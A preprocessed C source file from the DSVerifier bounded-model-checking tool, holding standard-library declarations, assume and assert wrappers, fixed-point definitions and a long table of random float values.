extern int fscanf (FILE *__restrict __stream,
const char *__restrict __format, ...) ;
extern int scanf (const char *__restrict __format, ...) ;
extern int sscanf (const char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__));
extern int fscanf (FILE *__restrict __stream, const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf")
;
extern int scanf (const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf")
;
extern int sscanf (const char *__restrict __s, const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__))
;
# 432 "/usr/include/stdio.h" 3 4
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0)));
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vfscanf")
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vscanf")
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s, const char *__restrict __format, __gnuc_va_list __arg) __asm__ ("" "__isoc99_vsscanf") __attribute__ ((__nothrow__ , __leaf__))
__attribute__ ((__format__ (__scanf__, 2, 0)));
# 485 "/usr/include/stdio.h" 3 4
extern int fgetc (FILE *__stream);
extern int getc (FILE *__stream);
extern int getchar (void);
extern int getc_unlocked (FILE *__stream);
extern int getchar_unlocked (void);
# 510 "/usr/include/stdio.h" 3 4
extern int fgetc_unlocked (FILE *__stream);
# 521 "/usr/include/stdio.h" 3 4
extern int fputc (int __c, FILE *__stream);
extern int putc (int __c, FILE *__stream);
extern int putchar (int __c);
# 537 "/usr/include/stdio.h" 3 4
extern int fputc_unlocked (int __c, FILE *__stream);
extern int putc_unlocked (int __c, FILE *__stream);
extern int putchar_unlocked (int __c);
extern int getw (FILE *__stream);
extern int putw (int __w, FILE *__stream);
extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
;
# 603 "/usr/include/stdio.h" 3 4
extern __ssize_t __getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getdelim (char **__restrict __lineptr,
size_t *__restrict __n, int __delimiter,
FILE *__restrict __stream) ;
extern __ssize_t getline (char **__restrict __lineptr,
size_t *__restrict __n,
FILE *__restrict __stream) ;
extern int fputs (const char *__restrict __s, FILE *__restrict __stream);
extern int puts (const char *__s);
extern int ungetc (int __c, FILE *__stream);
extern size_t fread (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __s);
# 673 "/usr/include/stdio.h" 3 4
extern size_t fread_unlocked (void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream) ;
extern size_t fwrite_unlocked (const void *__restrict __ptr, size_t __size,
size_t __n, FILE *__restrict __stream);
extern int fseek (FILE *__stream, long int __off, int __whence);
extern long int ftell (FILE *__stream) ;
extern void rewind (FILE *__stream);
# 707 "/usr/include/stdio.h" 3 4
extern int fseeko (FILE *__stream, __off_t __off, int __whence);
extern __off_t ftello (FILE *__stream) ;
# 731 "/usr/include/stdio.h" 3 4
extern int fgetpos (FILE *__restrict __stream, fpos_t *__restrict __pos);
extern int fsetpos (FILE *__stream, const fpos_t *__pos);
# 757 "/usr/include/stdio.h" 3 4
extern void clearerr (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void clearerr_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int feof_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int ferror_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void perror (const char *__s);
# 1 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 1 3 4
# 26 "/usr/include/x86_64-linux-gnu/bits/sys_errlist.h" 3 4
extern int sys_nerr;
extern const char *const sys_errlist[];
# 782 "/usr/include/stdio.h" 2 3 4
extern int fileno (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern int fileno_unlocked (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
# 800 "/usr/include/stdio.h" 3 4
extern FILE *popen (const char *__command, const char *__modes) ;
extern int pclose (FILE *__stream);
extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__));
# 840 "/usr/include/stdio.h" 3 4
extern void flockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int ftrylockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
# 858 "/usr/include/stdio.h" 3 4
extern int __uflow (FILE *);
extern int __overflow (FILE *, int);
# 873 "/usr/include/stdio.h" 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
void __DSVERIFIER_assume(_Bool expression){
__CPROVER_assume(expression);
}
void __DSVERIFIER_assert(_Bool expression){
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 36, __extension__ __PRETTY_FUNCTION__); }))
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
void __DSVERIFIER_assert_msg(_Bool expression, char * msg){
printf("%s", msg);
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
((void) sizeof ((
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
expression
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
) ; else __assert_fail (
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
"expression"
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h", 41, __extension__ __PRETTY_FUNCTION__); }))
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
;
}
# 22 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 1
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 1 3 4
# 9 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 3 4
# 1 "/usr/include/stdint.h" 1 3 4
# 26 "/usr/include/stdint.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 27 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wchar.h" 1 3 4
# 29 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 30 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h" 3 4
typedef __uint8_t uint8_t;
typedef __uint16_t uint16_t;
typedef __uint32_t uint32_t;
typedef __uint64_t uint64_t;
# 38 "/usr/include/stdint.h" 2 3 4
typedef __int_least8_t int_least8_t;
typedef __int_least16_t int_least16_t;
typedef __int_least32_t int_least32_t;
typedef __int_least64_t int_least64_t;
typedef __uint_least8_t uint_least8_t;
typedef __uint_least16_t uint_least16_t;
typedef __uint_least32_t uint_least32_t;
typedef __uint_least64_t uint_least64_t;
typedef signed char int_fast8_t;
typedef long int int_fast16_t;
typedef long int int_fast32_t;
typedef long int int_fast64_t;
# 71 "/usr/include/stdint.h" 3 4
typedef unsigned char uint_fast8_t;
typedef unsigned long int uint_fast16_t;
typedef unsigned long int uint_fast32_t;
typedef unsigned long int uint_fast64_t;
# 87 "/usr/include/stdint.h" 3 4
typedef long int intptr_t;
typedef unsigned long int uintptr_t;
# 101 "/usr/include/stdint.h" 3 4
typedef __intmax_t intmax_t;
typedef __uintmax_t uintmax_t;
# 10 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdint.h" 2 3 4
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 1 "/usr/include/inttypes.h" 1 3 4
# 34 "/usr/include/inttypes.h" 3 4
typedef int __gwchar_t;
# 266 "/usr/include/inttypes.h" 3 4
typedef struct
{
long int quot;
long int rem;
} imaxdiv_t;
# 290 "/usr/include/inttypes.h" 3 4
extern intmax_t imaxabs (intmax_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern imaxdiv_t imaxdiv (intmax_t __numer, intmax_t __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern intmax_t strtoimax (const char *__restrict __nptr,
char **__restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t strtoumax (const char *__restrict __nptr,
char ** __restrict __endptr, int __base) __attribute__ ((__nothrow__ , __leaf__));
extern intmax_t wcstoimax (const __gwchar_t *__restrict __nptr,
__gwchar_t **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
extern uintmax_t wcstoumax (const __gwchar_t *__restrict __nptr,
__gwchar_t ** __restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__));
# 432 "/usr/include/inttypes.h" 3 4
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h" 2
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
extern implementation impl;
typedef int64_t fxp_t;
fxp_t _fxp_one;
fxp_t _fxp_half;
fxp_t _fxp_minus_one;
fxp_t _fxp_min;
fxp_t _fxp_max;
double _dbl_max;
double _dbl_min;
fxp_t _fxp_fmask;
fxp_t _fxp_imask;
static const double scale_factor[31] = { 1.0, 2.0, 4.0, 8.0, 16.0, 32.0, 64.0,
128.0, 256.0, 512.0, 1024.0, 2048.0, 4096.0, 8192.0, 16384.0, 32768.0,
65536.0, 131072.0, 262144.0, 524288.0, 1048576.0, 2097152.0, 4194304.0,
8388608.0, 16777216.0, 33554432.0, 67108864.0, 134217728.0,
268435456.0, 536870912.0, 1073741824.0 };
static const double scale_factor_inv[31] = { 1.0, 0.5, 0.25, 0.125, 0.0625,
0.03125, 0.015625, 0.0078125, 0.00390625, 0.001953125, 0.0009765625,
0.00048828125, 0.000244140625, 0.0001220703125, 0.00006103515625,
0.000030517578125, 0.000015258789063, 0.000007629394531,
0.000003814697266, 0.000001907348633, 0.000000953674316,
0.000000476837158, 0.000000238418579, 0.000000119209290,
0.000000059604645, 0.000000029802322, 0.000000014901161,
0.000000007450581, 0.000000003725290, 0.000000001862645,
0.000000000931323 };
static const float rand_uni[10000] = { -0.486240329978498f, -0.0886462298529236f, -0.140307596103306f, 0.301096597450952f, 0.0993171079928659f, 0.971751769763271f, 0.985173975730828f, 0.555993645184930f, 0.582088652691427f, -0.153377496651175f, 0.383610009058905f, -0.335724126391271f, 0.978768141636516f, -0.276250018648572f, 0.390075705739569f, -0.179022404038782f, 0.690083827115783f, -0.872530132490992f, -0.970585763293203f, -0.581476053441704f, -0.532614615674888f, -0.239699306693312f, -0.678183014035494f, 0.349502640932782f, -0.210469890686263f, 0.841262085391842f, -0.473585465151401f, 0.659383565443701f, -0.651160036945754f, -0.961043527561335f, -0.0814927639199137f, 0.621303110569702f, -0.784529166943541f, 0.0238464770757800f, 0.392694728594110f, 0.776848735202001f, 0.0870059709310509f, 0.880563655271790f, 0.883457036977564f, -0.249235082877382f, -0.691040749216870f, 0.578731120064320f, -0.973932858000832f, -0.117699105431720f, -0.723831748151088f, -0.483149657477524f, -0.821277691383664f, -0.459725618100875f, 0.148175952221864f, 0.444306875534854f, -0.325610376336498f, 0.544142311404910f, -0.165319440455435f, 0.136706800705517f, 0.543312481350682f, 0.467210959764607f, -0.349266618228534f, -0.660110730565862f, 0.910332331495431f, 0.961049802789367f, -0.786168905164629f, 0.305648402726554f, 0.510815258508885f, 0.0950733260984060f, 0.173750645487898f, 0.144488668408672f, 0.0190031984466126f, -0.299194577636724f, 0.302411647442273f, -0.730462524226212f, 0.688646006554796f, 0.134948379722118f, 0.533716723458894f, -0.00226300779660438f, -0.561340777806718f, 0.450396313744017f, -0.569445876566955f, 0.954155246557698f, -0.255403882430676f, -0.759820984120828f, -0.855279790307514f, -0.147352581758156f, -0.302269055643746f, -0.642038024364086f, -0.367405981107491f, 0.491844011712164f, -0.542191710121194f, -0.938294043323732f, 0.683979894338020f, 0.294728290855287f, 0.00662691839443919f, -0.931040350582855f, 0.152356209974418f, 0.678620860551457f, -0.534989269238408f, 0.932096367913226f, -0.0361062818028513f, -0.847189697149530f, -0.975903030160255f, 0.623293205784014f, -0.661289688031659f, 0.724486055119603f, 0.307504095172835f, 0.00739266163731767f, -0.393681596442097f, 0.0313739422974388f, 0.0768157689673350f, -0.652063346886817f, 0.864188030044388f, -0.588932092781034f, 0.496015896758580f, -0.872858269231211f, 0.978780599551039f, -0.504887732991147f, -0.462378791937628f, 0.0141726829338038f, 0.769610007653591f, 0.945233033188923f, -0.782235375325016f, -0.832206533738799f, 0.745634368088673f, -0.696969510157151f, -0.0674631869948374f, -0.123186450806584f, -0.359158959141949f, -0.393882649464391f, 0.441371446689899f, -0.829394270569736f, -0.301502651277431f, -0.996215501187289f, 0.934634037393066f, -0.282431114746289f, -0.927550795619590f, -0.437037530043415f, -0.360426812995980f, 0.949549724575862f, 0.502784616197919f, 0.800771681422909f, -0.511398929004089f, 0.309288504642554f, -0.207261227890933f, 0.930587995125773f, -0.777029876696670f, -0.489329175755640f, -0.134595132329858f, 0.285771358983518f, 0.182331373854387f, -0.544110494560697f, 0.278439882883985f, -0.556325158102182f, 0.579043806545889f, 0.134648133801916f, 0.602850725479294f, -0.151663563868883f, 0.180694361855878f, -0.651591295315595f, 0.281129147768056f, -0.580047306475484f, 0.687883075491433f, 0.279398670804288f, -0.853428128249503f, -0.532609367372680f, -0.821156786377917f, -0.181273229058573f, -0.983898569846882f, -0.0964374318311501f, 0.880923372124250f, 0.102643371392389f, 0.893615387135596f, -0.259276649383649f, 0.699287743639363f, 0.402940604635828f, -0.110721596226581f, 0.0846246472582877f, 0.820733021865405f, 0.795578903285308f, -0.495144122011537f, 0.273150029257472f, -0.268249949701437f, 0.231982193341980f, 0.694211299124074f, 0.859950868718233f, 0.959483382623794f, -0.422972626833543f, -0.109621798738360f, 0.433094703426531f, 0.694025903378851f, 0.374478987547435f, -0.293668545105608f, -0.396213864190828f, -0.0632095887099047f, -0.0285139536748673f, 0.831794132192390f, -0.548543088139238f, 0.791869201724680f, 0.325211484201845f, 0.155274810721772f, -0.112383643064821f, -0.674403070297721f, 0.642801068229810f, -0.615712048835242f, -0.322576771285566f, -0.409336818836595f, 0.548069973193770f, -0.386353709407947f, -0.0741664985357784f, 0.619639599324983f, -0.815703814931314f, 0.965550307223862f, 0.623407852683828f, -0.789634372832984f, 0.736750050047572f, -0.0269443926793700f, 0.00545706093721488f, -0.315712479832091f, -0.890110021644720f, -0.869390443173846f, -0.381538869981866f, -0.109498998005949f, 0.131433952330613f, -0.233452413139316f, 0.660289822785465f, 0.543381186340023f, -0.384712418750451f, -0.913477554164890f, 0.767102957655267f, -0.115129944521936f, -0.741161985822647f, -0.0604180020782450f, -0.819131535144059f, -0.409539679760029f, 0.574419252943637f, -0.0440704617157433f, 0.933173744590532f, 0.261360623390448f, -0.880290575543046f, 0.329806293425492f, 0.548915621667952f, 0.635187167795234f, -0.611034070318967f, 0.458196727901944f, 0.397377226781023f, 0.711941361933987f, 0.782147744383368f, -0.00300685339552631f, 0.384687233450957f, 0.810102466029521f, 0.452919847968424f, -0.183164257016897f, -0.755603185485427f, -0.604334477365858f, -0.786222413488860f, -0.434887500763099f, -0.678845635625581f, -0.381200370488331f, -0.582350534916068f, -0.0444427346996734f, 0.116237247526397f, -0.364680921206275f, -0.829395404347498f, -0.258574590032613f, -0.910082114298859f, 0.501356900925997f, 0.0295361922006900f, -0.471786618165219f, 0.536352925101547f, -0.316120662284464f, -0.168902841718737f, 0.970850119987976f, -0.813818666854395f, -0.0861183123848732f, 0.866784827877161f, 0.535966478165739f, -0.806958669103425f, -0.627307415616045f, -0.686618354673079f, 0.0239165685193152f, 0.525427699287402f, 0.834079334357391f, -0.527333932295852f, 0.130970034225907f, -0.790218350377199f, 0.399338640441987f, 0.133591886379939f, -0.181354311053254f, 0.420121912637914f, -0.625002202728601f, -0.293296669160307f, 0.0113819513424340f, -0.882382002895096f, -0.883750159690028f, 0.441583656876336f, -0.439054135454480f, 0.873049498123622f, 0.660844523562817f, 0.0104240153103699f, 0.611420248331623f, -0.235926309432748f, 0.207317724918460f, 0.884691834560657f, 0.128302402592277f, -0.283754448219060f, 0.237649901255856f, 0.610200763264703f, -0.625035441247926f, -0.964609592118695f, -0.323146562743113f, 0.961529402270719f, -0.793576233735450f, -0.843916713821003f, 0.314105102728384f, -0.204535560653294f, 0.753318789613803f, 0.160678386635821f, -0.647065919861379f, -0.202789866826280f, 0.648108234268198f, -0.261292621025902f, 0.156681828732770f, 0.405377351820066f, 0.228465381497500f, 0.972348516671163f, 0.288346037401522f, -0.0799068604307178f, 0.916939290109587f, -0.279220972402209f, -0.203447523864279f, -0.533640046855273f, 0.543561961674653f, 0.880711097286889f, -0.549683064687774f, 0.0130107219236368f, -0.554838164576024f, -0.379442406201385f, -0.00500104610043062f, 0.409530122826868f, -0.580423080726061f, 0.824555731914455f, -0.254134502966922f, 0.655609706875230f, 0.629093866184236f, -0.690033250889974f, -0.652346551677826f, 0.169820593515952f, 0.922459552232043f, 0.351812083539940f, 0.876342426613034f, -0.513486005850680f, -0.626382302780497f, -0.734690688861027f, 0.245594886018314f, -0.875740935105191f, -0.388580462918006f, 0.0127041754106421f, -0.0330962560066819f, -0.425003146474193f, 0.0281641353527495f, 0.261441358666622f, 0.949781327102773f, 0.919646340564270f, 0.504503377003781f, 0.0817071051871894f, 0.319968570729658f, 0.229065413577318f, -0.0512608414259468f, -0.0740848540944785f, -0.0974457038582892f, 0.532775710298005f, -0.492913317622840f, 0.492871078783642f, -0.289562388384881f, 0.229149968879593f, 0.697586903105899f, 0.900855243684925f, 0.969700445892771f, -0.618162745501349f, -0.533241431614228f, -0.937955908995453f, 0.886669636523452f, 0.498748076602594f, 0.974106016180519f, -0.199411214757595f, 0.725270392729083f, -0.0279932700005097f, -0.889385821767448f, -0.452211028905500f, -0.487216271217731f, -0.577105004471439f, 0.777405674160298f, 0.390121144627092f, -0.595062864225581f, -0.844712795815575f, -0.894819796738658f, 0.0556635002662202f, 0.200767245646242f, 0.481227096067452f, -0.0854169009474664f, 0.524532943920022f, -0.880292014538901f, -0.127923833629789f, -0.929275628802356f, 0.233276357260949f, -0.776272194935070f, 0.953325886548014f, -0.884399921036004f, -0.504227548828417f, -0.546526107689276f, 0.852622421886067f, 0.947722695551154f, -0.668635552599119f, 0.768739709906834f, 0.830755876586102f, -0.720579994994166f, 0.761613532216491f, 0.340510345777526f, 0.335046764810816f, 0.490102926886310f, -0.568989013749608f, -0.296018470377601f, 0.979838924243657f, 0.624231653632879f, 0.553904401851075f, -0.355359451941014f, 0.267623165480721f, 0.985914275634075f, -0.741887849211797f, 0.560479100333108f, -0.602590162007993f, -0.874870765077352f, -0.0306218773384892f, 0.963145768131215f, 0.544824028787036f, -0.133990816021791f, 0.0679964588712787f, -0.156401335214901f, -0.0802554171832672f, 0.856386218492912f, 0.143013580527942f, 0.403921859374840f, -0.179029058044097f, 0.770723540077919f, -0.183650969350452f, -0.340718434629824f, 0.217166124261387f, -0.171159949445977f, 0.127493767348173f, -0.649649349141405f, -0.0986978180993434f, 0.301786606637125f, 0.942172200207855f, 0.0323236270151113f, -0.579853744301016f, -0.964413060851558f, 0.917535782777861f, 0.442144649483292f, -0.684960854610878f, -0.418908715566712f, 0.617844265088789f, 0.897145578082386f, 0.235463167636481f, 0.0166312355859484f, 0.948331447443040f, -0.961085640409103f, -0.0386086809179784f, -0.949138997977665f, 0.738211385880427f, 0.613757309091864f, -0.606937832993426f, 0.825253298062192f, 0.932609757667859f, -0.169023247637751f, -0.411237965787391f, 0.550590803600950f, -0.0561729280137304f, -0.559663108323671f, -0.718592671237337f, 0.885889621415361f, -0.364207826334344f, -0.839614660327507f, 0.265502694339344f, 0.394329270534417f, -0.270184577808578f, -0.865353487778069f, -0.528848754655393f, -0.179961524561963f, 0.571721065613544f, -0.774363220756696f, 0.251123315200792f, -0.217722762975159f, 0.0901359910328954f, -0.329445470667965f, 0.366410356722994f, -0.777512662632715f, 0.654844363477267f, -0.882409911562713f, -0.613612530795153f, -0.926517759636550f, 0.111572665207194f, 0.0729846382226607f, 0.789912813274098,
0.784452109264882f, -0.949766989295825f, 0.318378232675431f, 0.732077593075111f, 0.786829143208386f, -0.134682559823644f, 0.733164743374965f, 0.978410877665941f, 0.992008491438409f, -0.319064303035495f, 0.958430683602029f, 0.514518212363212f, 0.101876224417090f, 0.642655735778237f, -0.170746516901312f, 0.252352078365623f, -0.761327278132210f, 0.724119717129199f, 0.889374997869224f, -0.785987369200692f, -0.594670344572584f, 0.805192297495935f, -0.990523259595814f, 0.483998949026664f, 0.747350619254878f, -0.824845161088780f, 0.543009506581798f, -0.208778528683094f, -0.314149951901368f, 0.943576771177672f, -0.102633559170861f, -0.947663019606703f, -0.557033071578968f, 0.419150797499848f, 0.251214274356296f, 0.565717763755325f, 0.126676667925064f, -0.0213369479214840f, 0.342212953426240f, -0.288015274572288f, 0.121313363277304f, 0.452832374494206f, 0.545420403121955f, -0.616024063400938f, -0.0320352392995826f, -0.400581850938279f, 0.0642433474653812f, -0.673966224453150f, 0.951962939602010f, -0.241906012952983f, 0.0322060960995099f, -0.449185553826233f, -0.709575766146540f, 0.0283340814242898f, 0.234237103593580f, -0.285526615094797f, -0.793192668153991f, -0.437130485497140f, -0.956132143306919f, 0.601158367473616f, 0.238689691528783f, 0.173709925321432f, 0.437983847738997f, 0.397380645202102f, 0.432093344086237f, -0.0338869881121104f, -0.966303269542493f, 0.875351570183604f, -0.0584554089652962f, 0.294207497692552f, 0.200323088145182f, 0.826642387259759f, 0.284806025494260f, -0.00660991970522007f, 0.682493772727303f, -0.151980775670668f, 0.0470705546940635f, -0.236378427235531f, -0.844780853112247f, 0.134166207564174f, -0.586842667384924f, 0.0711866699414370f, 0.311698821368897f, -0.361229767252053f, 0.750924311039976f, 0.0764323989785694f, 0.898463708247144f, 0.398232179543916f, -0.515644913011399f, -0.189067061520362f, -0.567430593060929f, -0.641924269747436f, -0.0960378699625619f, -0.792054031692334f, 0.803891878854351f, -0.233518627249889f, -0.892523453249154f, 0.707550017996875f, -0.782288435525895f, -0.156166443894764f, -0.543737876329167f, 0.565637809380957f, -0.757689989749326f, -0.612543942167974f, -0.766327195073259f, 0.587626843767440f, -0.280769385897397f, -0.457487372245825f, 0.0862799426622438f, -0.616867284053547f, 0.121778903484808f, -0.451988651573766f, -0.618146087265495f, -0.285868777534354f, 0.108999472244014f, -0.620755183347358f, -0.268563184810196f, -0.721678169615489f, -0.146060198874409f, -0.661506858070617f, 0.901707853998409f, 0.222488776533930f, 0.679599685031679f, 0.974760448601209f, 0.535485953830496f, -0.562345697123585f, 0.369219363331071f, -0.0282801684694869f, -0.0734880727832297f, 0.733216287314358f, -0.514352095765627f, -0.850813063545195f, 0.642458447327163f, 0.118661521915783f, -0.907015526838341f, 0.789277766886329f, -0.719864125961721f, 0.274329068829509f, 0.830124687647056f, 0.719352367261587f, -0.821767317737384f, -0.840153496829227f, 0.650796781936517f, 0.381065387870166f, 0.341870564586224f, -0.00174423702285131f, -0.216348832349188f, 0.678010477635713f, -0.748695103596683f, -0.819659325555269f, 0.620922373008647f, 0.471659250504894f, 0.417848292160984f, -0.990577315445198f, -0.509842007818877f, 0.705761459091187f, 0.723072116074702f, -0.606476484252158f, -0.871593699865195f, -0.662059658667501f, -0.207267692377271f, -0.274706370444270f, 0.317047325063391f, 0.329780707114887f, -0.966325651181920f, -0.666131009799803f, 0.118609206658210f, 0.232960448350140f, -0.139134616436389f, -0.936412642687343f, -0.554985387484625f, -0.609914445911143f, -0.371023087262482f, -0.461044793696911f, 0.0277553171809701f, -0.241589304772568f, -0.990769995548029f, 0.114245771600061f, -0.924483328431436f, 0.237901450206836f, -0.615461633242452f, 0.201497106528945f, -0.599898812620374f, 0.982389910778332f, 0.125701388874024f, -0.892749115498369f, 0.513592673006880f, 0.229316745749793f, 0.422997355912517f, 0.150920221978738f, 0.447743452078441f, 0.366767059168664f, -0.605741985891581f, 0.274905013892524f, -0.861378867171578f, -0.731508622159258f, 0.171187057183023f, 0.250833501952177f, -0.609814068526718f, -0.639397597618127f, -0.712497631420166f, -0.539831932321101f, -0.962361328901384f, 0.799060001548069f, 0.618582550608426f, -0.603865594092701f, -0.750840334759883f, -0.432368099184739f, -0.581021252111797f, 0.134711953024238f, 0.331863889421602f, -0.172907726656169f, -0.435358718118896f, -0.689326993725649f, 0.415840315809038f, -0.333576262820904f, 0.279343777676723f, -0.0393098862927832f, 0.00852090010085194f, -0.853705195692250f, 0.526006696633762f, -0.478653377052437f, -0.584840261391485f, 0.679261003071696f, 0.0367484618219474f, -0.616340335633997f, -0.912843423145420f, -0.221248732289686f, -0.477921890680232f, -0.127369625511666f, 0.865190146410824f, 0.817916456258544f, 0.445973590438029f, -0.621435280140991f, -0.584264056171687f, 0.718712277931876f, -0.337835985469843f, 0.00569064504159345f, -0.546546294846311f, 0.101653624648361f, -0.795498735829364f, -0.249043531299132f, -0.112839395737321f, -0.350305425122331f, -0.910866368205041f, 0.345503177966105f, -0.549306515692918f, 0.711774722622726f, 0.283368922297518f, 0.0401988801224620f, 0.269228967910704f, 0.408165826013612f, -0.306571373865680f, 0.937429053394878f, 0.992154362395068f, 0.679431847774404f, 0.660561953302554f, 0.903254489326130f, -0.939312119455540f, -0.211194531611303f, 0.401554296146757f, -0.0373187111351370f, -0.209143098987164f, -0.483955198209448f, -0.860858509666882f, 0.847006442151417f, 0.287950263267018f, 0.408253171937961f, -0.720812569529331f, 0.623305171273525f, 0.543495760078790f, -0.364025150023839f, -0.893335585394842f, -0.757545415624741f, -0.525417020183382f, -0.985814550271000f, -0.571551008375522f, 0.930716377819686f, -0.272863385293023f, 0.982334910750391f, 0.297868844366342f, 0.922428080219044f, 0.917194773824871f, 0.846964493212884f, 0.0641834146212110f, 0.279768184306094f, 0.591959126556958f, 0.355630573995206f, 0.839818707895839f, 0.219674727597944f, -0.174518904670883f, 0.708669864813752f, -0.224562931791369f, 0.677232454840133f, -0.904826802486527f, -0.627559033402838f, 0.263680517444611f, 0.121902314059156f, -0.704881790282995f, 0.242825089229032f, 